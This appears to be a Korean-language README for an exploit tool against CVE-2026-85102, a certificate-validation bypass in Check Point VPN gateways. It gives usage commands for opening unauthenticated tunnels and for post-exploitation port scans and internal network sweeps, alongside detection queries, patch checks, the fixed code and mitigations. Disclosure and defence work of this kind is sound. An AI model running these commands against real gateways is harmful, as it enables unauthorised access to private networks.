
원격 액세스 및 사이트 간 VPN에서의 인증 우회 및 원격 코드 실행
CVE-2026-85102를 악용하여 IKE 인증서 체인 검증을 우회함으로써 Check Point Security Gateway에서 인증되지 않은 VPN 터널을 설정합니다.
공식 Check Point 보안 권고: sk1000117
제품: Check Point Security Gateway, Check Point Spark Firewall
영향받는 버전: R81.20, R82, R82.10 (Bundle T24 이전), R80-R81.10 (모두 EoS)
영향받지 않음: R82.20
구성 요소: libcpcert.so — fwKeyHolder_imp::IsChainTrusted()
근본 원인: IsChainTrusted()는 CanonizeChain()을 호출하지만 반환 값을 무시합니다. 체인 정규화가 실패하더라도 함수는 TRUSTED를 반환합니다.
악용: 공격자는 다음을 수행할 수 있습니다:
CanonizeChain() 실패를 유발CVE-2026-85102.py # CVE-2026-85102: VPN tunnel establishment (auth bypass)
cp_postex.py # Post-exploitation helper (tunnel management, recon)
pip install cryptographyopenssl, iproute2 (ip 명령), nc (netcat)testuser)# Establish tunnel with certificate bypass
sudo python3 CVE-2026-85102.py<target_ip> -u <vpn_username>
# Output includes Office Mode IP, e.g., 172.16.10.3
# Clean up tunnel
sudo python3 CVE-2026-85102.py--cleanup
# Establish tunnel and save state
sudo python3 cp_postex.py tunnel up <target_ip> -u <vpn_username>
# Check tunnel status
sudo python3 cp_postex.py tunnel status
# Scan gateway ports through tunnel
sudo python3 cp_postex.py recon scan
sudo python3 cp_postex.py recon scan -p 80,443,18190-18208
# Sweep internal networks through tunnel
sudo python3 cp_postex.py recon sweep 192.168.1.0/24
sudo python3 cp_postex.py recon sweep 192.168.1.0/24 -p 22
# Tear down tunnel
sudo python3 cp_postex.py tunnel down
sudo python3 cp_postex.py tunnel down -f # Flush all xfrm state
| 매개변수 | 설명 |
|---|---|
<target_ip> | Check Point 게이트웨이 IP |
-u <username> | VPN 사용자 이름 (기본값: testuser) |
-l <local_ip> | 다중 인터페이스 시스템용 수동 로컬 IP |
-c <cert_host> | ICA 인증서 추출을 위한 대체 호스트 |
--cleanup | 터널 구성 제거 |
비정상적인 인증서 기반 Mobile Access 로그인에 대해 로그를 검토하십시오. SmartConsole/Spark Management에서 Logs & Monitor / Logs & Events로 이동하여 2026년 9월 12일 이후의 이벤트를 검색하십시오:
product: "Mobile Access" AND action: "Log In" AND "Certificate"
인식되지 않은 사용자, 클라이언트 또는 소스 IP 주소에 대한 이벤트를 검사합니다.
관찰된 의심스러운 인증서 주체:
CN=vpn,OU=users,O=globalCN=vpn-user,OU=users,O=globalCN=vpnuser,OU=users,O=globalLivePatch Take 26(BUNDLE_URGENT_SECURITY_UPDATE)을 설치합니다:
설치 검증:
# Check LivePatch status
cplp list
# Expected output includes:
# cpcert:cpca* CVE-2026-85102 CVE-2026-85103
# cpcert:iked* CVE-2026-85102 CVE-2026-85103
# cpcert:vpn* CVE-2026-85102 CVE-2026-85103
# cpcert:vpnrad* CVE-2026-85102 CVE-2026-85103
# cpcert_cprid:cprid* CVE-2026-85102 CVE-2026-85103
이 수정 사항은 libcpcert.so를 변경합니다:
// IsChainTrusted: Check CanonizeChain return value
result = CanonizeChain(this, trusted_ca, sorted, out, i, trust_type);
if (!result) {
trusted_ca = NULL;
}
return trusted_ca;
// CanonizeChain: Check intermediate operation returns
if (!CopyChain(...)) return NULL;
if (!TruncateChain(...)) return NULL;
암시적 VPN 규칙을 비활성화하고 특정 피어 IP 주소에 대해 UDP/500 및 UDP/4500에 대한 VPN 액세스를 수동으로 정의합니다. sk179346을 참조하십시오.
원격 액세스 VPN 암시적 규칙을 비활성화합니다. 보안 게이트웨이에 필요한 원격 액세스 VPN 서비스를 허용하는 명시적 액세스 제어 규칙을 생성합니다:
참고: 이러한 완화 조치는 로컬에서 관리되는 Spark 방화벽에는 적용되지 않습니다.
이 익스플로잇 코드는 보안 연구 및 테스트 목적으로 제공됩니다. 자신의 시스템에서 또는 시스템 소유자의 명시적 승인을 받은 경우에만 사용하십시오.